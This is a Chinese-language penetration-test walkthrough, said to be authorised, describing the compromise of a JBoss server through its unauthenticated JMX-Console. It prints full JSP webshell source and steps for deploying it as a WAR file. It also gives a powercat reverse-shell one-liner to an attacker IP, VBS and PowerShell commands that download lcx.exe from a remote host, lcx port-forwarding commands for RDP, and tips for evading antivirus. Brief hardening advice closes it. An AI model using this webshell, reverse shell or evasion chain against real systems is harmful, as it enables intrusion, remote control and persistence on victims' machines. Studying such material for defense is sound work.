一次不完美的Jboss渗透
字数 957 2025-08-26 22:11:23
JBoss渗透测试实战教学文档
一、前言
本教学文档基于一次真实的JBoss渗透测试案例,详细记录了从信息收集到漏洞利用的全过程,包含Windows系统提权尝试和端口转发技术。测试已获得授权,仅供学习参考。
二、信息收集阶段
-
端口扫描
- 使用nmap进行端口扫描
- 发现8080端口开放JMX-Console服务
- 路径:
/jmx-console/
-
服务识别
- 确认目标为JBoss应用服务器
- JBoss已知漏洞:可通过部署WAR包实现远程代码执行
三、漏洞利用过程
1. 制作恶意WAR包
步骤:
- 创建JSP木马文件(gg.jsp):
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>
<html>
<head><title></title></head>
<body>
<%
Runtime runtime = Runtime.getRuntime();
Process process = null;
String line = null;
String ip = request.getParameter("cmd");
try {
process = runtime.exec(ip);
is = process.getInputStream();
isr = new InputStreamReader(is);
br = new BufferedReader(isr);
out.println("<pre>");
while((line = br.readLine()) != null) {
out.println(line);
out.flush();
}
out.println("</pre>");
is.close(); isr.close(); br.close();
} catch(IOException e) {
out.println(e);
runtime.exit(1);
}
%>
</body>
</html>
-
打包方法:
- 将JSP文件压缩为ZIP
- 重命名为WAR扩展名
-
托管WAR文件:
- 使用Python快速搭建HTTP服务:
python -m SimpleHTTPServer 8589
2. JBoss漏洞利用
-
访问JMX控制台:
http://[target]:8080/jmx-console/ -
查找部署点:
- 全局搜索
jboss.system - 找到部署管理接口
- 全局搜索
-
远程部署WAR:
- 输入WAR文件的远程URL地址
- 提交部署请求
-
验证部署:
- 访问部署的JSP shell:
http://[target]:8080/[war-name]/gg.jsp?cmd=whoami
四、权限提升与内网渗透
1. 获取交互式Shell
方法1:PowerShell反弹
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [attacker-ip] -p [port] -e cmd
方法2:VBS下载
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\2.txt",2 >>download.vbs
方法3:PowerShell下载
(new-object System.Net.WebClient).DownloadFile('http://ip:7667/lcxx/lcx.exe','C:\Windows\Temp\2.txt')
2. 端口转发技术
使用lcx工具:
- 目标机器执行:
lcx -slave [attacker-ip] 51 [internal-ip] 3389
- 攻击机器执行:
lcx.exe -listen 51 9090
替代方案(防火墙绕过):
lcx -tran 53 [target-ip] 3389
3. 提权检查
-
检查用户权限:
- 确认是否为Administrators组成员
-
检查补丁状态:
- 参考补丁编号对照表:
https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp -
杀毒软件检测:
- 检查进程列表
- 案例中发现卡巴斯基防护
五、经验总结
-
成功要点:
- JBoss未授权部署漏洞利用成功
- 获取了Webshell和命令执行权限
- 发现管理员权限账户
-
受阻原因:
- 杀毒软件拦截工具下载
- 防火墙限制端口访问
-
改进建议:
- 使用内存加载方式绕过杀毒软件
- 尝试reGeorg+Proxifier进行内网代理
- 使用Java标准方式打包WAR文件(
jar -cvf)
-
安全建议:
- JBoss应配置认证机制
- 限制JMX控制台访问
- 及时安装安全补丁
- 部署Web应用防火墙
附录:常用命令参考
- WAR打包正确方法:
jar -cvf shell.war shell.jsp
-
替代端口转发工具:
- EarthWorm
- reGeorg
- ngrok
-
杀软绕过技巧:
- 内存加载PowerShell脚本
- 使用合法软件白名单
- 代码混淆和加密